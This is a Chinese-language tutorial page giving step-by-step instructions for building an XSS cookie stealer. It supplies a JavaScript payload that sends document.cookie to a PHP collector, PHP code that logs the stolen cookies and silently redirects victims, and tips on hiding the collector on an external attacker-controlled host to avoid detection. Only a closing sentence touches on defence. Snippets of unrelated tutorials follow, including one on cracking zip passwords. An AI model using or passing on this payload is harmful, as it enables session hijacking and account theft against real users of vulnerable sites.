JS写XSS cookie stealer来窃取密码的步骤详解

JavaScript是web中最常用的脚本开发语言,js可以自动执行站点组件,管理站点内容,在web业内实现其他有用的函数。JS可以有很多的函数可以用做恶意用途,包括窃取含有密码等内容的用户cookie。

Cookie是站点请求和保持特定访问页面的信息。Cookie含有访问的方式、时间、用户名密码等认证信息等。当用户访问给定站点时,必须使用cookie;如果攻击者可以拦截cookie,就可以利用cookie窃取用户的一些信息。对某个特定的域名,使用JS可以保存或修改用户的cookie。也就是说,如果攻击者可以利用JS查看、修改cookie,那么这可以变成一种有价值的黑客技术。

基于JS的攻击可以有效地与代码注入等技术相结合,这可能造成恶意代码在可信的网站上执行。

下面开始创建XSS cookie stealer

Step 1: 创建 HTML Test 页

首先,创建一个标准的HTML页

mkdir cookiestealer
cd cookiestealer
touch index.html

然后,编辑index.html

nano index.html
<html>
<body>
</body>
</html>

测试页面

Step 2: 创建Cookie

创建一个可以插入到cookie中的基本参数——字符串。这个cookie只能用于本页面中,同样的,之后的注入也应用于该页面保存的所有cookie。

 <script type="text/javascript">document.cookie = "username=Null Byte";</script>

该脚本要插入到HTML的<body>部分,如下:

如果运行该脚本的页面打开了,那么就会设定cookie,但是浏览器中不会显示任何东西。我们可以用document.write函数直接查看cookie。

document.write(document.cookie);

同样功能的脚本如下:

 <script type="text/javascript">
 document.cookie = "username=Null Byte";
 document.write(document.cookie);
 </script>

在浏览器中打开页面,就会出现如下的cookie信息:

说明我们成功地为这个页面设置了"username=Null Byte" 的cookie。

Step 3: 用js脚本窃取Cookies

我们用来传递cookies到服务器的js字符串使用了document.cookie参数,但是我们用的是document.location中定义的url。

document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;

在本例中,PHP文件定位到localhost(127.0.0.1)。

如果目标是社交媒体网站,脚本需要注入到该站点中,窃取的cookies要发送给黑客控制的IP或URL。

把js代码吓到<script>标签中:

<script type="text/javascript">
 document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;
 </script>

HTML页面代码应该是下面这样:

剩下对cookie进行处理的部分需要PHP来处理。

Step 4: 用PHP处理Cookies

在上面的例子中,窃取cookie的PHP文件是cookiestealer.php,位于127.0.0.1网址下。

在实际运行中,不能用cookiestealer.php这么明显的名字,而且应该位于外部IP或URL下。

首先,在index.html相同目录下创新PHP文件。

nano cookiestealer.php

第一个元素需要定义的是重定向页面跳转。

<?php
header ('Location:https://google.com');
?>

为了不让用户意识到可能遭到攻击,最好重定向用户到相同域下的其他页面,这样用户就不会意识到。

重定向完成后,需要其他代码来处理cookie。

1. 分配cookie到一个变量;

$cookies = $_GET"c";

2. 定义保存cookie的文件,这个文件保存的位置应该是我们控制的。

本例中,文件名为log.txt。

 $file = fopen('log.txt', 'a');

3. 把上面的两个参数的内容写入log文件,即将cookie写入log.txt。

fwrite($file, $cookies . "nn");

代码如下:

然后,需要准备PHP文件的测试环境。

Step 5: 测试Cookie Stealer

在index.html 和 cookiestealer.php相同目录下,搭建一个测试用的PHP环境。

php -S 127.0.0.1:80

页面测试成功。

打开页面之后,浏览器会马上重定向到预定义的网站,即Google。

查看PHP服务器的日志,我们注意到传递给php文件一个参数,而且php代码执行了。

最后,我们可以检查我们网站目录下的log.txt文件来查看cookies。

cat log.txt

Log文件中含有cookie的内容,说明我们成功的使用js代码窃取了cookies。

Step 6: 攻击

Cookies含有重要的用户信息,一般是明文的,有时甚至含有私钥信息。所以非常重要,使用js代码注入可以窃取用户的cookies信息。

该攻击可以注入到任何的HTML文件的<script>标签中。常用的检测XSS的方法是使用alert。

<script>alert("Alert");</script>

该脚本会尝试打开类似下面的alert信息。如果打开了,说明网站易受到xss攻击。

在现实的攻击中,黑客会特别注意PHP文件的位置。如果处理得不好,php文件会容易暴露黑客的位置。如果这种攻击出现了,那么根据cookie被发送和保存的位置,可以追踪黑客。

上面的方法说明了JS作为攻击工具的强大性。JS可以让web更方便 ,如果某个网站易受到恶意JS注入,这会给用户和网站带来巨大的安全威胁。预防XSS攻击的重担落在了web开发者的身上。如果用户认为运行在网站上的脚本是不可信的,也可以使用NoScript来阻止js代码的运行。

总结

以上所述是小编给大家介绍的JS写XSS cookie stealer来窃取密码的步骤详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对我们网站的支持!

(0)

相关推荐

  • JS写XSS cookie stealer来窃取密码的步骤详解

    JavaScript是web中最常用的脚本开发语言,js可以自动执行站点组件,管理站点内容,在web业内实现其他有用的函数.JS可以有很多的函数可以用做恶意用途,包括窃取含有密码等内容的用户cookie. Cookie是站点请求和保持特定访问页面的信息.Cookie含有访问的方式.时间.用户名密码等认证信息等.当用户访问给定站点时,必须使用cookie:如果攻击者可以拦截cookie,就可以利用cookie窃取用户的一些信息.对某个特定的域名,使用JS可以保存或修改用户的cookie.也就是说,

  • Ubuntu中安装MySQL更改默认密码的步骤详解

    第一步:进入目录:cd /etc/mysql,查看debian.cnf文件 第二步:使用上图中的账号密码登录MySQL. 第三步:查看数据库中的库. 第四步:使用mysql库. 第五步:使用一下语句设置账号密码:update user set authentication_string=PASSWORD("自定义新密码") where user='root'; 我个人设置的简单.账号为:root. 密码:123456. 第六步:执行一下语句:update user set plugin

  • vue通过cookie获取用户登录信息的思路详解

    思路 进入页面 若未登录,跳转至登陆页面 若已登录,从cookie中获取用户信息,并执行后续操作 2. 登录页面,存入cookie(setCookie) import {setCookie,getCookie}from 'src/js/cookieUtil' methods: { async cheack_n_p () { if( this.checkCode === this.pwd) { this.loginData = await getUserInfo(this.uname, this.

  • 微信小程序 sha1 实现密码加密实例详解

    微信小程序 sha1 实现密码加密实例详解 在utils中的util.js 文件中增加 函数 实现 字符串转换为16进制加密后的字符串 function encodeUTF8(s) { var i, r = [], c, x; for (i = 0; i < s.length; i++) if ((c = s.charCodeAt(i)) < 0x80) r.push(c); else if (c < 0x800) r.push(0xC0 + (c >> 6 & 0x

  • nginx ssl免密码重启教程详解

    一.nginx如何启动 1.HTTP和HTTPS的区别 https协议需要到ca申请证书,一般免费证书很少,需要交费. http是超文本传输协议,信息是明文传输,https 则是具有安全性的ssl加密传输协议. http和https使用的是完全不同的连接方式,用的端口也不一样,前者是80,后者是443. http的连接很简单,是无状态的;HTTPS协议是由SSL+HTTP协议构建的可进行加密传输.身份认证的网络协议,比http协议安全. 所以在涉及到账户.金钱等敏感信息交互的时候使用HTTPS是

  • axios中cookie跨域及相关配置示例详解

    前言 最近在跨域.cookie 以及表单上传这几个方面遇到了点小问题,做个简单探究和总结.本文主要介绍了关于axios中cookie跨域及相关配置的相关内容,下面话不多说了,来一起看看详细的介绍吧. 1. 带cookie请求 - 画个重点 axios默认是发送请求的时候不会带上cookie的,需要通过设置withCredentials: true来解决. 这个时候需要注意需要后端配合设置: header信息 Access-Control-Allow-Credentials:true Access

  • vue.js的computed,filter,get,set的用法及区别详解

    1.vue.js的computed方法: 处理复杂逻辑,基于依赖缓存,当依赖发生改变时会重新取值.用methods也可以实现同样的效果,但methods在重新渲染的时候会重新调用执行,在性能上computed优于methods,当不需要缓存时可用methods. 实例1:computed和methods实现翻转字符串 <template> <div> <input v-model="message"> <p>原始字符串: {{ messa

  • Vue.js 2.x之组件的定义和注册图文详解

    前言 什么是组件 组件: 组件的出现,就是为了拆分Vue实例的代码量的,能够让我们以不同的组件,来划分不同的功能模块,将来我们需要什么样的功能,就可以去调用对应的组件即可. 模块化和组件化的区别 模块化:是从代码逻辑的角度进行划分的:方便代码分层开发,保证每个功能模块的职能单一 组件化:是从UI界面的角度进行划分的:前端的组件化,方便UI组件的重用 全局组件的定义和注册 组件Component是 Vue.js 最强大的功能之一.组件可以扩展 HTML 元素,封装可重用的代码. 全局组件的定义和注

  • 使用 Python 破解压缩文件的密码的思路详解

    经常遇到百度网盘的压缩文件加密了,今天我们就破解它! 实现思路 上篇文章给大家介绍了爆破密码的思路,感兴趣的朋友可以了解下. 其实都大同小异:无非就是字典爆破,就看你是有现成密码字典,还是自己生成密码字典,然后进行循环输入密码,直到输入正确位置.现在很多都有防爆破限制,根本无法进行暴力破解,但是似乎zip这种大家都是用比较简单的密码而且没有什么限制. 因此 实现思路就是 生成字典->输入密码->成功解压 实现过程 1.  生成字典 生成密码字典其实就是一个字符组合的过程.小伙伴们可别用列表去组

  • Django中Cookie设置及跨域问题处理详解

    目录 什么是Cookie(翻译:曲奇饼干) Cookie怎么来的 为什么要用Cookie Cookie的特点 怎么设置Cookie Cookie常用参数 怎么获取Cookie Cookie跨域问题处理 什么是Cookie(翻译:曲奇饼干) Cookie是存储在浏览器中的一段纯文本信息(简单的说就是浏览器缓存),用来记录用户的使用情况并将其存储在本地设备中,当用户访问服务器时会将Cookie附带上,服务端通过读取Cookie的记录,来维持用户与服务器的会话状态. Cookie怎么来的 Cookie

随机推荐